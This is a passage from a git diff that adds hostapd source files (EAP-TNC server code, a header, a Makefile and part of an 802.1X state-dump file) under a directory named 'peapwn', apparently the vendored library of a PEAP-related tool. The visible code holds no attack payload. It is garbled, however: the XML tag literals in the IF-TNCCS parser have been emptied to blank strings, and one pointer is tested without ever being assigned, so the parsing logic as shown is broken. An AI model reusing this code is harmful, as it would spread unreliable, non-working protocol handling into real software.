(tncs->imv_data[imvID].imv_send == NULL) { + os_free(b64); + return TNC_RESULT_OTHER; + } + + tncs->imv_data[imvID].imv_send_len = + os_snprintf((char *) tncs->imv_data[imvID].imv_send, + b64len + 100, + "%08X" + "%s", + (unsigned int) messageType, b64); + + os_free(b64); + + return TNC_RESULT_SUCCESS; +} + + +TNC_Result TNC_TNCS_RequestHandshakeRetry( + TNC_IMVID imvID, + TNC_ConnectionID connectionID, + TNC_RetryReason reason) +{ + wpa_printf(MSG_DEBUG, "TNC: TNC_TNCS_RequestHandshakeRetry"); + /* TODO */ + return TNC_RESULT_SUCCESS; +} + + +TNC_Result TNC_TNCS_ProvideRecommendation( + TNC_IMVID imvID, + TNC_ConnectionID connectionID, + TNC_IMV_Action_Recommendation recommendation, + TNC_IMV_Evaluation_Result evaluation) +{ + struct tncs_data *tncs; + + wpa_printf(MSG_DEBUG, "TNC: TNC_TNCS_ProvideRecommendation(imvID=%lu " + "connectionID=%lu recommendation=%lu evaluation=%lu)", + (unsigned long) imvID, (unsigned long) connectionID, + (unsigned long) recommendation, (unsigned long) evaluation); + + if (tncs_get_imv(imvID) == NULL) + return TNC_RESULT_INVALID_PARAMETER; + + tncs = tncs_get_conn(connectionID); + if (tncs == NULL) + return TNC_RESULT_INVALID_PARAMETER; + + tncs->imv_data[imvID].recommendation = recommendation; + tncs->imv_data[imvID].recommendation_set = 1; + + return TNC_RESULT_SUCCESS; +} + + +TNC_Result TNC_TNCS_GetAttribute( + TNC_IMVID imvID, + TNC_ConnectionID connectionID, + TNC_AttributeID attribureID, + TNC_UInt32 bufferLength, + TNC_BufferReference buffer, + TNC_UInt32 *pOutValueLength) +{ + wpa_printf(MSG_DEBUG, "TNC: TNC_TNCS_GetAttribute"); + /* TODO */ + return TNC_RESULT_SUCCESS; +} + + +TNC_Result TNC_TNCS_SetAttribute( + TNC_IMVID imvID, + TNC_ConnectionID connectionID, + TNC_AttributeID attribureID, + TNC_UInt32 bufferLength, + TNC_BufferReference buffer) +{ + wpa_printf(MSG_DEBUG, "TNC: TNC_TNCS_SetAttribute"); + /* TODO */ + return TNC_RESULT_SUCCESS; +} + + +TNC_Result TNC_TNCS_BindFunction( + TNC_IMVID imvID, + char *functionName, + void **pOutFunctionPointer) +{ + wpa_printf(MSG_DEBUG, "TNC: TNC_TNCS_BindFunction(imcID=%lu, " + "functionName='%s')", (unsigned long) imvID, functionName); + + if (tncs_get_imv(imvID) == NULL) + return TNC_RESULT_INVALID_PARAMETER; + + if (pOutFunctionPointer == NULL) + return TNC_RESULT_INVALID_PARAMETER; + + if (os_strcmp(functionName, "TNC_TNCS_ReportMessageTypes") == 0) + *pOutFunctionPointer = TNC_TNCS_ReportMessageTypes; + else if (os_strcmp(functionName, "TNC_TNCS_SendMessage") == 0) + *pOutFunctionPointer = TNC_TNCS_SendMessage; + else if (os_strcmp(functionName, "TNC_TNCS_RequestHandshakeRetry") == + 0) + *pOutFunctionPointer = TNC_TNCS_RequestHandshakeRetry; + else if (os_strcmp(functionName, "TNC_TNCS_ProvideRecommendation") == + 0) + *pOutFunctionPointer = TNC_TNCS_ProvideRecommendation; + else if (os_strcmp(functionName, "TNC_TNCS_GetAttribute") == 0) + *pOutFunctionPointer = TNC_TNCS_GetAttribute; + else if (os_strcmp(functionName, "TNC_TNCS_SetAttribute") == 0) + *pOutFunctionPointer = TNC_TNCS_SetAttribute; + else + *pOutFunctionPointer = NULL; + + return TNC_RESULT_SUCCESS; +} + + +static void * tncs_get_sym(void *handle, char *func) +{ + void *fptr; + + fptr = dlsym(handle, func); + + return fptr; +} + + +static int tncs_imv_resolve_funcs(struct tnc_if_imv *imv) +{ + void *handle = imv->dlhandle; + + /* Mandatory IMV functions */ + imv->Initialize = tncs_get_sym(handle, "TNC_IMV_Initialize"); + if (imv->Initialize == NULL) { + wpa_printf(MSG_ERROR, "TNC: IMV does not export " + "TNC_IMV_Initialize"); + return -1; + } + + imv->SolicitRecommendation = tncs_get_sym( + handle, "TNC_IMV_SolicitRecommendation"); + if (imv->SolicitRecommendation == NULL) { + wpa_printf(MSG_ERROR, "TNC: IMV does not export " + "TNC_IMV_SolicitRecommendation"); + return -1; + } + + imv->ProvideBindFunction = + tncs_get_sym(handle, "TNC_IMV_ProvideBindFunction"); + if (imv->ProvideBindFunction == NULL) { + wpa_printf(MSG_ERROR, "TNC: IMV does not export " + "TNC_IMV_ProvideBindFunction"); + return -1; + } + + /* Optional IMV functions */ + imv->NotifyConnectionChange = + tncs_get_sym(handle, "TNC_IMV_NotifyConnectionChange"); + imv->ReceiveMessage = tncs_get_sym(handle, "TNC_IMV_ReceiveMessage"); + imv->BatchEnding = tncs_get_sym(handle, "TNC_IMV_BatchEnding"); + imv->Terminate = tncs_get_sym(handle, "TNC_IMV_Terminate"); + + return 0; +} + + +static int tncs_imv_initialize(struct tnc_if_imv *imv) +{ + TNC_Result res; + TNC_Version imv_ver; + + wpa_printf(MSG_DEBUG, "TNC: Calling TNC_IMV_Initialize for IMV '%s'", + imv->name); + res = imv->Initialize(imv->imvID, TNC_IFIMV_VERSION_1, + TNC_IFIMV_VERSION_1, &imv_ver); + wpa_printf(MSG_DEBUG, "TNC: TNC_IMV_Initialize: res=%lu imv_ver=%lu", + (unsigned long) res, (unsigned long) imv_ver); + + return res == TNC_RESULT_SUCCESS ? 0 : -1; +} + + +static int tncs_imv_terminate(struct tnc_if_imv *imv) +{ + TNC_Result res; + + if (imv->Terminate == NULL) + return 0; + + wpa_printf(MSG_DEBUG, "TNC: Calling TNC_IMV_Terminate for IMV '%s'", + imv->name); + res = imv->Terminate(imv->imvID); + wpa_printf(MSG_DEBUG, "TNC: TNC_IMV_Terminate: %lu", + (unsigned long) res); + + return res == TNC_RESULT_SUCCESS ? 0 : -1; +} + + +static int tncs_imv_provide_bind_function(struct tnc_if_imv *imv) +{ + TNC_Result res; + + wpa_printf(MSG_DEBUG, "TNC: Calling TNC_IMV_ProvideBindFunction for " + "IMV '%s'", imv->name); + res = imv->ProvideBindFunction(imv->imvID, TNC_TNCS_BindFunction); + wpa_printf(MSG_DEBUG, "TNC: TNC_IMV_ProvideBindFunction: res=%lu", + (unsigned long) res); + + return res == TNC_RESULT_SUCCESS ? 0 : -1; +} + + +static int tncs_imv_notify_connection_change(struct tnc_if_imv *imv, + TNC_ConnectionID conn, + TNC_ConnectionState state) +{ + TNC_Result res; + + if (imv->NotifyConnectionChange == NULL) + return 0; + + wpa_printf(MSG_DEBUG, "TNC: Calling TNC_IMV_NotifyConnectionChange(%d)" + " for IMV '%s'", (int) state, imv->name); + res = imv->NotifyConnectionChange(imv->imvID, conn, state); + wpa_printf(MSG_DEBUG, "TNC: TNC_IMC_NotifyConnectionChange: %lu", + (unsigned long) res); + + return res == TNC_RESULT_SUCCESS ? 0 : -1; +} + + +static int tncs_load_imv(struct tnc_if_imv *imv) +{ + if (imv->path == NULL) { + wpa_printf(MSG_DEBUG, "TNC: No IMV configured"); + return -1; + } + + wpa_printf(MSG_DEBUG, "TNC: Opening IMV: %s (%s)", + imv->name, imv->path); + imv->dlhandle = dlopen(imv->path, RTLD_LAZY); + if (imv->dlhandle == NULL) { + wpa_printf(MSG_ERROR, "TNC: Failed to open IMV '%s' (%s): %s", + imv->name, imv->path, dlerror()); + return -1; + } + + if (tncs_imv_resolve_funcs(imv) < 0) { + wpa_printf(MSG_ERROR, "TNC: Failed to resolve IMV functions"); + return -1; + } + + if (tncs_imv_initialize(imv) < 0 || + tncs_imv_provide_bind_function(imv) < 0) { + wpa_printf(MSG_ERROR, "TNC: Failed to initialize IMV"); + return -1; + } + + return 0; +} + + +static void tncs_free_imv(struct tnc_if_imv *imv) +{ + os_free(imv->name); + os_free(imv->path); + os_free(imv->supported_types); +} + +static void tncs_unload_imv(struct tnc_if_imv *imv) +{ + tncs_imv_terminate(imv); + + if (imv->dlhandle) + dlclose(imv->dlhandle); + + tncs_free_imv(imv); +} + + +static int tncs_supported_type(struct tnc_if_imv *imv, unsigned int type) +{ + size_t i; + unsigned int vendor, subtype; + + if (imv == NULL || imv->supported_types == NULL) + return 0; + + vendor = type >> 8; + subtype = type & 0xff; + + for (i = 0; i < imv->num_supported_types; i++) { + unsigned int svendor, ssubtype; + svendor = imv->supported_types[i] >> 8; + ssubtype = imv->supported_types[i] & 0xff; + if ((vendor == svendor || svendor == TNC_VENDORID_ANY) && + (subtype == ssubtype || ssubtype == TNC_SUBTYPE_ANY)) + return 1; + } + + return 0; +} + + +static void tncs_send_to_imvs(struct tncs_data *tncs, unsigned int type, + const u8 *msg, size_t len) +{ + struct tnc_if_imv *imv; + TNC_Result res; + + wpa_hexdump_ascii(MSG_MSGDUMP, "TNC: Message to IMV(s)", msg, len); + + for (imv = tncs->imv; imv; imv = imv->next) { + if (imv->ReceiveMessage == NULL || + !tncs_supported_type(imv, type)) + continue; + + wpa_printf(MSG_DEBUG, "TNC: Call ReceiveMessage for IMV '%s'", + imv->name); + res = imv->ReceiveMessage(imv->imvID, tncs->connectionID, + (TNC_BufferReference) msg, len, + type); + wpa_printf(MSG_DEBUG, "TNC: ReceiveMessage: %lu", + (unsigned long) res); + } +} + + +static void tncs_batch_ending(struct tncs_data *tncs) +{ + struct tnc_if_imv *imv; + TNC_Result res; + + for (imv = tncs->imv; imv; imv = imv->next) { + if (imv->BatchEnding == NULL) + continue; + + wpa_printf(MSG_DEBUG, "TNC: Call BatchEnding for IMV '%s'", + imv->name); + res = imv->BatchEnding(imv->imvID, tncs->connectionID); + wpa_printf(MSG_DEBUG, "TNC: BatchEnding: %lu", + (unsigned long) res); + } +} + + +static void tncs_solicit_recommendation(struct tncs_data *tncs) +{ + struct tnc_if_imv *imv; + TNC_Result res; + + for (imv = tncs->imv; imv; imv = imv->next) { + if (tncs->imv_data[imv->imvID].recommendation_set) + continue; + + wpa_printf(MSG_DEBUG, "TNC: Call SolicitRecommendation for " + "IMV '%s'", imv->name); + res = imv->SolicitRecommendation(imv->imvID, + tncs->connectionID); + wpa_printf(MSG_DEBUG, "TNC: SolicitRecommendation: %lu", + (unsigned long) res); + } +} + + +void tncs_init_connection(struct tncs_data *tncs) +{ + struct tnc_if_imv *imv; + int i; + + for (imv = tncs->imv; imv; imv = imv->next) { + tncs_imv_notify_connection_change( + imv, tncs->connectionID, TNC_CONNECTION_STATE_CREATE); + tncs_imv_notify_connection_change( + imv, tncs->connectionID, + TNC_CONNECTION_STATE_HANDSHAKE); + } + + for (i = 0; i < TNC_MAX_IMV_ID; i++) { + os_free(tncs->imv_data[i].imv_send); + tncs->imv_data[i].imv_send = NULL; + tncs->imv_data[i].imv_send_len = 0; + } +} + + +size_t tncs_total_send_len(struct tncs_data *tncs) +{ + int i; + size_t len = 0; + + for (i = 0; i < TNC_MAX_IMV_ID; i++) + len += tncs->imv_data[i].imv_send_len; + if (tncs->tncs_message) + len += os_strlen(tncs->tncs_message); + return len; +} + + +u8 * tncs_copy_send_buf(struct tncs_data *tncs, u8 *pos) +{ + int i; + + for (i = 0; i < TNC_MAX_IMV_ID; i++) { + if (tncs->imv_data[i].imv_send == NULL) + continue; + + os_memcpy(pos, tncs->imv_data[i].imv_send, + tncs->imv_data[i].imv_send_len); + pos += tncs->imv_data[i].imv_send_len; + os_free(tncs->imv_data[i].imv_send); + tncs->imv_data[i].imv_send = NULL; + tncs->imv_data[i].imv_send_len = 0; + } + + if (tncs->tncs_message) { + size_t len = os_strlen(tncs->tncs_message); + os_memcpy(pos, tncs->tncs_message, len); + pos += len; + os_free(tncs->tncs_message); + tncs->tncs_message = NULL; + } + + return pos; +} + + +char * tncs_if_tnccs_start(struct tncs_data *tncs) +{ + char *buf = os_malloc(1000); + if (buf == NULL) + return NULL; + tncs->last_batchid++; + os_snprintf(buf, 1000, IF_TNCCS_START, tncs->last_batchid); + return buf; +} + + +char * tncs_if_tnccs_end(void) +{ + char *buf = os_malloc(100); + if (buf == NULL) + return NULL; + os_snprintf(buf, 100, IF_TNCCS_END); + return buf; +} + + +static int tncs_get_type(char *start, unsigned int *type) +{ + char *pos = os_strstr(start, ""); + if (pos == NULL) + return -1; + pos += 6; + *type = strtoul(pos, NULL, 16); + return 0; +} + + +static unsigned char * tncs_get_base64(char *start, size_t *decoded_len) +{ + char *pos, *pos2; + unsigned char *decoded; + + pos = os_strstr(start, ""); + if (pos == NULL) + return NULL; + + pos += 8; + pos2 = os_strstr(pos, ""); + if (pos2 == NULL) + return NULL; + *pos2 = '\0'; + + decoded = base64_decode((unsigned char *) pos, os_strlen(pos), + decoded_len); + *pos2 = '<'; + if (decoded == NULL) { + wpa_printf(MSG_DEBUG, "TNC: Failed to decode Base64 data"); + } + + return decoded; +} + + +static enum tncs_process_res tncs_derive_recommendation(struct tncs_data *tncs) +{ + enum IMV_Action_Recommendation rec; + struct tnc_if_imv *imv; + TNC_ConnectionState state; + char *txt; + + wpa_printf(MSG_DEBUG, "TNC: No more messages from IMVs"); + + if (tncs->done) + return TNCCS_PROCESS_OK_NO_RECOMMENDATION; + + tncs_solicit_recommendation(tncs); + + /* Select the most restrictive recommendation */ + rec = TNC_IMV_ACTION_RECOMMENDATION_NO_RECOMMENDATION; + for (imv = tncs->imv; imv; imv = imv->next) { + TNC_IMV_Action_Recommendation irec; + irec = tncs->imv_data[imv->imvID].recommendation; + if (irec == TNC_IMV_ACTION_RECOMMENDATION_NO_ACCESS) + rec = TNC_IMV_ACTION_RECOMMENDATION_NO_ACCESS; + if (irec == TNC_IMV_ACTION_RECOMMENDATION_ISOLATE && + rec != TNC_IMV_ACTION_RECOMMENDATION_NO_ACCESS) + rec = TNC_IMV_ACTION_RECOMMENDATION_ISOLATE; + if (irec == TNC_IMV_ACTION_RECOMMENDATION_ALLOW && + rec == TNC_IMV_ACTION_RECOMMENDATION_NO_RECOMMENDATION) + rec = TNC_IMV_ACTION_RECOMMENDATION_ALLOW; + } + + wpa_printf(MSG_DEBUG, "TNC: Recommendation: %d", rec); + tncs->recommendation = rec; + tncs->done = 1; + + txt = NULL; + switch (rec) { + case TNC_IMV_ACTION_RECOMMENDATION_ALLOW: + case TNC_IMV_ACTION_RECOMMENDATION_NO_RECOMMENDATION: + txt = "allow"; + state = TNC_CONNECTION_STATE_ACCESS_ALLOWED; + break; + case TNC_IMV_ACTION_RECOMMENDATION_ISOLATE: + txt = "isolate"; + state = TNC_CONNECTION_STATE_ACCESS_ISOLATED; + break; + case TNC_IMV_ACTION_RECOMMENDATION_NO_ACCESS: + txt = "none"; + state = TNC_CONNECTION_STATE_ACCESS_NONE; + break; + default: + state = TNC_CONNECTION_STATE_ACCESS_ALLOWED; + break; + } + + if (txt) { + os_free(tncs->tncs_message); + tncs->tncs_message = os_zalloc(200); + if (tncs->tncs_message) { + os_snprintf(tncs->tncs_message, 199, + "%08X" + "" + "" + "", + TNC_TNCCS_RECOMMENDATION, txt); + } + } + + for (imv = tncs->imv; imv; imv = imv->next) { + tncs_imv_notify_connection_change(imv, tncs->connectionID, + state); + } + + switch (rec) { + case TNC_IMV_ACTION_RECOMMENDATION_ALLOW: + return TNCCS_RECOMMENDATION_ALLOW; + case TNC_IMV_ACTION_RECOMMENDATION_NO_ACCESS: + return TNCCS_RECOMMENDATION_NO_ACCESS; + case TNC_IMV_ACTION_RECOMMENDATION_ISOLATE: + return TNCCS_RECOMMENDATION_ISOLATE; + case TNC_IMV_ACTION_RECOMMENDATION_NO_RECOMMENDATION: + return TNCCS_RECOMMENDATION_NO_RECOMMENDATION; + default: + return TNCCS_PROCESS_ERROR; + } +} + + +enum tncs_process_res tncs_process_if_tnccs(struct tncs_data *tncs, + const u8 *msg, size_t len) +{ + char *buf, *start, *end, *pos, *pos2, *payload; + unsigned int batch_id; + unsigned char *decoded; + size_t decoded_len; + + buf = dup_binstr(msg, len); + if (buf == NULL) + return TNCCS_PROCESS_ERROR; + + start = os_strstr(buf, ""); + if (start == NULL || end == NULL || start > end) { + os_free(buf); + return TNCCS_PROCESS_ERROR; + } + + start += 13; + while (*start == ' ') + start++; + *end = '\0'; + + pos = os_strstr(start, "BatchId="); + if (pos == NULL) { + os_free(buf); + return TNCCS_PROCESS_ERROR; + } + + pos += 8; + if (*pos == '"') + pos++; + batch_id = atoi(pos); + wpa_printf(MSG_DEBUG, "TNC: Received IF-TNCCS BatchId=%u", + batch_id); + if (batch_id != tncs->last_batchid + 1) { + wpa_printf(MSG_DEBUG, "TNC: Unexpected IF-TNCCS BatchId " + "%u (expected %u)", + batch_id, tncs->last_batchid + 1); + os_free(buf); + return TNCCS_PROCESS_ERROR; + } + tncs->last_batchid = batch_id; + + while (*pos != '\0' && *pos != '>') + pos++; + if (*pos == '\0') { + os_free(buf); + return TNCCS_PROCESS_ERROR; + } + pos++; + payload = start; + + /* + * + * 01234567 + * foo== + * + */ + + while (*start) { + char *endpos; + unsigned int type; + + pos = os_strstr(start, ""); + if (pos == NULL) + break; + start = pos + 17; + end = os_strstr(start, ""); + if (end == NULL) + break; + *end = '\0'; + endpos = end; + end += 18; + + if (tncs_get_type(start, &type) < 0) { + *endpos = '<'; + start = end; + continue; + } + wpa_printf(MSG_DEBUG, "TNC: IMC-IMV-Message Type 0x%x", type); + + decoded = tncs_get_base64(start, &decoded_len); + if (decoded == NULL) { + *endpos = '<'; + start = end; + continue; + } + + tncs_send_to_imvs(tncs, type, decoded, decoded_len); + + os_free(decoded); + + start = end; + } + + /* + * + * 01234567 + * + * foo== + * + */ + + start = payload; + while (*start) { + unsigned int type; + char *xml, *xmlend, *endpos; + + pos = os_strstr(start, ""); + if (pos == NULL) + break; + start = pos + 19; + end = os_strstr(start, ""); + if (end == NULL) + break; + *end = '\0'; + endpos = end; + end += 20; + + if (tncs_get_type(start, &type) < 0) { + *endpos = '<'; + start = end; + continue; + } + wpa_printf(MSG_DEBUG, "TNC: TNCC-TNCS-Message Type 0x%x", + type); + + /* Base64 OR XML */ + decoded = NULL; + xml = NULL; + xmlend = NULL; + pos = os_strstr(start, ""); + if (pos) { + pos += 5; + pos2 = os_strstr(pos, ""); + if (pos2 == NULL) { + *endpos = '<'; + start = end; + continue; + } + xmlend = pos2; + xml = pos; + } else { + decoded = tncs_get_base64(start, &decoded_len); + if (decoded == NULL) { + *endpos = '<'; + start = end; + continue; + } + } + + if (decoded) { + wpa_hexdump_ascii(MSG_MSGDUMP, + "TNC: TNCC-TNCS-Message Base64", + decoded, decoded_len); + os_free(decoded); + } + + if (xml) { + wpa_hexdump_ascii(MSG_MSGDUMP, + "TNC: TNCC-TNCS-Message XML", + (unsigned char *) xml, + xmlend - xml); + } + + start = end; + } + + os_free(buf); + + tncs_batch_ending(tncs); + + if (tncs_total_send_len(tncs) == 0) + return tncs_derive_recommendation(tncs); + + return TNCCS_PROCESS_OK_NO_RECOMMENDATION; +} + + +static struct tnc_if_imv * tncs_parse_imv(int id, char *start, char *end, + int *error) +{ + struct tnc_if_imv *imv; + char *pos, *pos2; + + if (id >= TNC_MAX_IMV_ID) { + wpa_printf(MSG_DEBUG, "TNC: Too many IMVs"); + return NULL; + } + + imv = os_zalloc(sizeof(*imv)); + if (imv == NULL) { + *error = 1; + return NULL; + } + + imv->imvID = id; + + pos = start; + wpa_printf(MSG_DEBUG, "TNC: Configured IMV: %s", pos); + if (pos + 1 >= end || *pos != '"') { + wpa_printf(MSG_ERROR, "TNC: Ignoring invalid IMV line '%s' " + "(no starting quotation mark)", start); + os_free(imv); + return NULL; + } + + pos++; + pos2 = pos; + while (pos2 < end && *pos2 != '"') + pos2++; + if (pos2 >= end) { + wpa_printf(MSG_ERROR, "TNC: Ignoring invalid IMV line '%s' " + "(no ending quotation mark)", start); + os_free(imv); + return NULL; + } + *pos2 = '\0'; + wpa_printf(MSG_DEBUG, "TNC: Name: '%s'", pos); + imv->name = os_strdup(pos); + + pos = pos2 + 1; + if (pos >= end || *pos != ' ') { + wpa_printf(MSG_ERROR, "TNC: Ignoring invalid IMV line '%s' " + "(no space after name)", start); + os_free(imv); + return NULL; + } + + pos++; + wpa_printf(MSG_DEBUG, "TNC: IMV file: '%s'", pos); + imv->path = os_strdup(pos); + + return imv; +} + + +static int tncs_read_config(struct tncs_global *global) +{ + char *config, *end, *pos, *line_end; + size_t config_len; + struct tnc_if_imv *imv, *last; + int id = 0; + + last = NULL; + + config = os_readfile(TNC_CONFIG_FILE, &config_len); + if (config == NULL) { + wpa_printf(MSG_ERROR, "TNC: Could not open TNC configuration " + "file '%s'", TNC_CONFIG_FILE); + return -1; + } + + end = config + config_len; + for (pos = config; pos < end; pos = line_end + 1) { + line_end = pos; + while (*line_end != '\n' && *line_end != '\r' && + line_end < end) + line_end++; + *line_end = '\0'; + + if (os_strncmp(pos, "IMV ", 4) == 0) { + int error = 0; + + imv = tncs_parse_imv(id++, pos + 4, line_end, &error); + if (error) + return -1; + if (imv) { + if (last == NULL) + global->imv = imv; + else + last->next = imv; + last = imv; + } + } + } + + os_free(config); + + return 0; +} + + +struct tncs_data * tncs_init(void) +{ + struct tncs_data *tncs; + + if (tncs_global_data == NULL) + return NULL; + + tncs = os_zalloc(sizeof(*tncs)); + if (tncs == NULL) + return NULL; + tncs->imv = tncs_global_data->imv; + tncs->connectionID = tncs_global_data->next_conn_id++; + tncs->next = tncs_global_data->connections; + tncs_global_data->connections = tncs; + + return tncs; +} + + +void tncs_deinit(struct tncs_data *tncs) +{ + int i; + struct tncs_data *prev, *conn; + + if (tncs == NULL) + return; + + for (i = 0; i < TNC_MAX_IMV_ID; i++) + os_free(tncs->imv_data[i].imv_send); + + prev = NULL; + conn = tncs_global_data->connections; + while (conn) { + if (conn == tncs) { + if (prev) + prev->next = tncs->next; + else + tncs_global_data->connections = tncs->next; + break; + } + prev = conn; + conn = conn->next; + } + + os_free(tncs->tncs_message); + os_free(tncs); +} + + +int tncs_global_init(void) +{ + struct tnc_if_imv *imv; + + tncs_global_data = os_zalloc(sizeof(*tncs_global_data)); + if (tncs_global_data == NULL) + return -1; + + if (tncs_read_config(tncs_global_data) < 0) { + wpa_printf(MSG_ERROR, "TNC: Failed to read TNC configuration"); + goto failed; + } + + for (imv = tncs_global_data->imv; imv; imv = imv->next) { + if (tncs_load_imv(imv)) { + wpa_printf(MSG_ERROR, "TNC: Failed to load IMV '%s'", + imv->name); + goto failed; + } + } + + return 0; + +failed: + tncs_global_deinit(); + return -1; +} + + +void tncs_global_deinit(void) +{ + struct tnc_if_imv *imv, *prev; + + if (tncs_global_data == NULL) + return; + + imv = tncs_global_data->imv; + while (imv) { + tncs_unload_imv(imv); + + prev = imv; + imv = imv->next; + os_free(prev); + } + + os_free(tncs_global_data); + tncs_global_data = NULL; +} + + +struct wpabuf * tncs_build_soh_request(void) +{ + struct wpabuf *buf; + + /* + * Build a SoH Request TLV (to be used inside SoH EAP Extensions + * Method) + */ + + buf = wpabuf_alloc(8 + 4); + if (buf == NULL) + return NULL; + + /* Vendor-Specific TLV (Microsoft) - SoH Request */ + wpabuf_put_be16(buf, EAP_TLV_VENDOR_SPECIFIC_TLV); /* TLV Type */ + wpabuf_put_be16(buf, 8); /* Length */ + + wpabuf_put_be32(buf, EAP_VENDOR_MICROSOFT); /* Vendor_Id */ + + wpabuf_put_be16(buf, 0x02); /* TLV Type - SoH Request TLV */ + wpabuf_put_be16(buf, 0); /* Length */ + + return buf; +} + + +struct wpabuf * tncs_process_soh(const u8 *soh_tlv, size_t soh_tlv_len, + int *failure) +{ + wpa_hexdump(MSG_DEBUG, "TNC: SoH TLV", soh_tlv, soh_tlv_len); + *failure = 0; + + /* TODO: return MS-SoH Response TLV */ + + return NULL; +} diff --git a/peapwn/mods/hostap/src/eap_server/tncs.h b/peapwn/mods/hostap/src/eap_server/tncs.h new file mode 100644 index 000000000..ac7251bf8 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/tncs.h @@ -0,0 +1,43 @@ +/* + * EAP-TNC - TNCS (IF-IMV, IF-TNCCS, and IF-TNCCS-SOH) + * Copyright (c) 2007-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TNCS_H +#define TNCS_H + +struct tncs_data; + +struct tncs_data * tncs_init(void); +void tncs_deinit(struct tncs_data *tncs); +void tncs_init_connection(struct tncs_data *tncs); +size_t tncs_total_send_len(struct tncs_data *tncs); +u8 * tncs_copy_send_buf(struct tncs_data *tncs, u8 *pos); +char * tncs_if_tnccs_start(struct tncs_data *tncs); +char * tncs_if_tnccs_end(void); + +enum tncs_process_res { + TNCCS_PROCESS_ERROR = -1, + TNCCS_PROCESS_OK_NO_RECOMMENDATION = 0, + TNCCS_RECOMMENDATION_ERROR, + TNCCS_RECOMMENDATION_ALLOW, + TNCCS_RECOMMENDATION_NONE, + TNCCS_RECOMMENDATION_ISOLATE, + TNCCS_RECOMMENDATION_NO_ACCESS, + TNCCS_RECOMMENDATION_NO_RECOMMENDATION +}; + +enum tncs_process_res tncs_process_if_tnccs(struct tncs_data *tncs, + const u8 *msg, size_t len); + +int tncs_global_init(void); +void tncs_global_deinit(void); + +struct wpabuf * tncs_build_soh_request(void); +struct wpabuf * tncs_process_soh(const u8 *soh_tlv, size_t soh_tlv_len, + int *failure); + +#endif /* TNCS_H */ diff --git a/peapwn/mods/hostap/src/eapol_auth/Makefile b/peapwn/mods/hostap/src/eapol_auth/Makefile new file mode 100644 index 000000000..adfd3dfd5 --- /dev/null +++ b/peapwn/mods/hostap/src/eapol_auth/Makefile @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/eapol_auth/eapol_auth_dump.c b/peapwn/mods/hostap/src/eapol_auth/eapol_auth_dump.c new file mode 100644 index 000000000..b6e0b137a --- /dev/null +++ b/peapwn/mods/hostap/src/eapol_auth/eapol_auth_dump.c @@ -0,0 +1,225 @@ +/* + * IEEE 802.1X-2004 Authenticator - State dump + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_server/eap.h" +#include "eapol_auth_sm.h" +#include "eapol_auth_sm_i.h" + +static inline const char * port_type_txt(PortTypes pt) +{ + switch (pt) { + case ForceUnauthorized: return "ForceUnauthorized"; + case ForceAuthorized: return "ForceAuthorized"; + case Auto: return "Auto"; + default: return "Unknown"; + } +} + + +static inline const char * port_state_txt(PortState ps) +{ + switch (ps) { + case Unauthorized: return "Unauthorized"; + case Authorized: return "Authorized"; + default: return "Unknown"; + } +} + + +static inline const char * ctrl_dir_txt(ControlledDirection dir) +{ + switch (dir) { + case Both: return "Both"; + case In: return "In"; + default: return "Unknown"; + } +} + + +static inline const char * auth_pae_state_txt(int s) +{ + switch (s) { + case AUTH_PAE_INITIALIZE: return "INITIALIZE"; + case AUTH_PAE_DISCONNECTED: return "DISCONNECTED"; + case AUTH_PAE_CONNECTING: return "CONNECTING"; + case AUTH_PAE_AUTHENTICATING: return "AUTHENTICATING"; + case AUTH_PAE_AUTHENTICATED: return "AUTHENTICATED"; + case AUTH_PAE_ABORTING: return "ABORTING"; + case AUTH_PAE_HELD: return "HELD"; + case AUTH_PAE_FORCE_AUTH: return "FORCE_AUTH"; + case AUTH_PAE_FORCE_UNAUTH: return "FORCE_UNAUTH"; + case AUTH_PAE_RESTART: return "RESTART"; + default: return "Unknown"; + } +} + + +static inline const char * be_auth_state_txt(int s) +{ + switch (s) { + case BE_AUTH_REQUEST: return "REQUEST"; + case BE_AUTH_RESPONSE: return "RESPONSE"; + case BE_AUTH_SUCCESS: return "SUCCESS"; + case BE_AUTH_FAIL: return "FAIL"; + case BE_AUTH_TIMEOUT: return "TIMEOUT"; + case BE_AUTH_IDLE: return "IDLE"; + case BE_AUTH_INITIALIZE: return "INITIALIZE"; + case BE_AUTH_IGNORE: return "IGNORE"; + default: return "Unknown"; + } +} + + +static inline const char * reauth_timer_state_txt(int s) +{ + switch (s) { + case REAUTH_TIMER_INITIALIZE: return "INITIALIZE"; + case REAUTH_TIMER_REAUTHENTICATE: return "REAUTHENTICATE"; + default: return "Unknown"; + } +} + + +static inline const char * auth_key_tx_state_txt(int s) +{ + switch (s) { + case AUTH_KEY_TX_NO_KEY_TRANSMIT: return "NO_KEY_TRANSMIT"; + case AUTH_KEY_TX_KEY_TRANSMIT: return "KEY_TRANSMIT"; + default: return "Unknown"; + } +} + + +static inline const char * key_rx_state_txt(int s) +{ + switch (s) { + case KEY_RX_NO_KEY_RECEIVE: return "NO_KEY_RECEIVE"; + case KEY_RX_KEY_RECEIVE: return "KEY_RECEIVE"; + default: return "Unknown"; + } +} + + +static inline const char * ctrl_dir_state_txt(int s) +{ + switch (s) { + case CTRL_DIR_FORCE_BOTH: return "FORCE_BOTH"; + case CTRL_DIR_IN_OR_BOTH: return "IN_OR_BOTH"; + default: return "Unknown"; + } +} + + +void eapol_auth_dump_state(FILE *f, const char *prefix, + struct eapol_state_machine *sm) +{ + fprintf(f, "%sEAPOL state machine:\n", prefix); + fprintf(f, "%s aWhile=%d quietWhile=%d reAuthWhen=%d\n", prefix, + sm->aWhile, sm->quietWhile, sm->reAuthWhen); +#define _SB(b) ((b) ? "TRUE" : "FALSE") + fprintf(f, + "%s authAbort=%s authFail=%s authPortStatus=%s authStart=%s\n" + "%s authTimeout=%s authSuccess=%s eapFail=%s eapolEap=%s\n" + "%s eapSuccess=%s eapTimeout=%s initialize=%s " + "keyAvailable=%s\n" + "%s keyDone=%s keyRun=%s keyTxEnabled=%s portControl=%s\n" + "%s portEnabled=%s portValid=%s reAuthenticate=%s\n", + prefix, _SB(sm->authAbort), _SB(sm->authFail), + port_state_txt(sm->authPortStatus), 